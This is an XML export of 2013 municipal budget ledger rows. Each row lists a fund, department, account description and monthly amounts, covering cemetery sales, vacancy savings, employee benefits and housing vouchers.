<row _id="2686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402790.0</object><object_description>VAULT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-62220.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-62220.0</total></row>
<row _id="2687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402810.0</object><object_description>URN SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-18000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-18000.0</total></row>
<row _id="2688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556140.0</object><object_description>SOLD VAULTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35000.0</total></row>
<row _id="2689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556150.0</object><object_description>SOLD NAME PLATES/BENCHES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="2690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556180.0</object><object_description>EMBALMING SUPPLIES/EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="2691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556190.0</object><object_description>MISC SERVICES/SALES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>33500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33500.0</total></row>
<row _id="2692"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-19</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8633.0</total></row>
<row _id="2693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>87834.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87834.0</total></row>
<row _id="2694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>-9000</may><june>0.0</june><total>13000.0</total></row>
<row _id="2695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="2696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2311.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2311.0</total></row>
<row _id="2697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10620.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10620.0</total></row>
<row _id="2698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560050.0</object><object_description>TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27000.0</total></row>
<row _id="2699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-158150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-158150.0</total></row>
<row _id="2700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-193388.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-193388.0</total></row>
<row _id="2701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-22268.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22268.0</total></row>
<row _id="2702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-62002.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-62002.0</total></row>
<row _id="2703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-671221.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>62635</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-608586.0</total></row>
<row _id="2704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-282620.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>9006</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-273614.0</total></row>
<row _id="2705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-11890.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11890.0</total></row>
<row _id="2706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-19228.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-19228.0</total></row>
<row _id="2707"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-60432.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-60432.0</total></row>
<row _id="2708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-13134.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-13134.0</total></row>
<row _id="2709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-18807.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-18807.0</total></row>
<row _id="2710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>408220.0</object><object_description>PUBLIC NOTIFICATION REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-9416.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9416.0</total></row>
<row _id="2711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50375.0</total></row>
<row _id="2712"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>26500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26500.0</total></row>
<row _id="2713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10337.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>103</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10440.0</total></row>
<row _id="2714"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>143206.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1432</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>144638.0</total></row>
<row _id="2715"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="2716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="2717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577344.0</object><object_description>HAP-VOUCHER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12800610.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-188710</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12611900.0</total></row>
<row _id="2718"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="2719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12090.0</total></row>
<row _id="2720"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>945.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>945.0</total></row>
<row _id="2721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4604.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>46</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4650.0</total></row>
<row _id="2722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1535.0</total></row>
<row _id="2723"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1355.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1355.0</total></row>
<row _id="2724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1006.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1006.0</total></row>
<row _id="2725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10165.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10165.0</total></row>
<row _id="2726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571130.0</object><object_description>S+C HAP SUO5</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>283911.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>25950</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>309861.0</total></row>
<row _id="2727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578830.0</object><object_description>LLEBG GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>25243.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25243.0</total></row>
<row _id="2728"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8961.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8961.0</total></row>
<row _id="2729"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-14331.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14331.0</total></row>
<row _id="2730"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-36408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-36408.0</total></row>
<row _id="2731"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6985.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6985.0</total></row>
<row _id="2732"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>33</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>346.0</total></row>
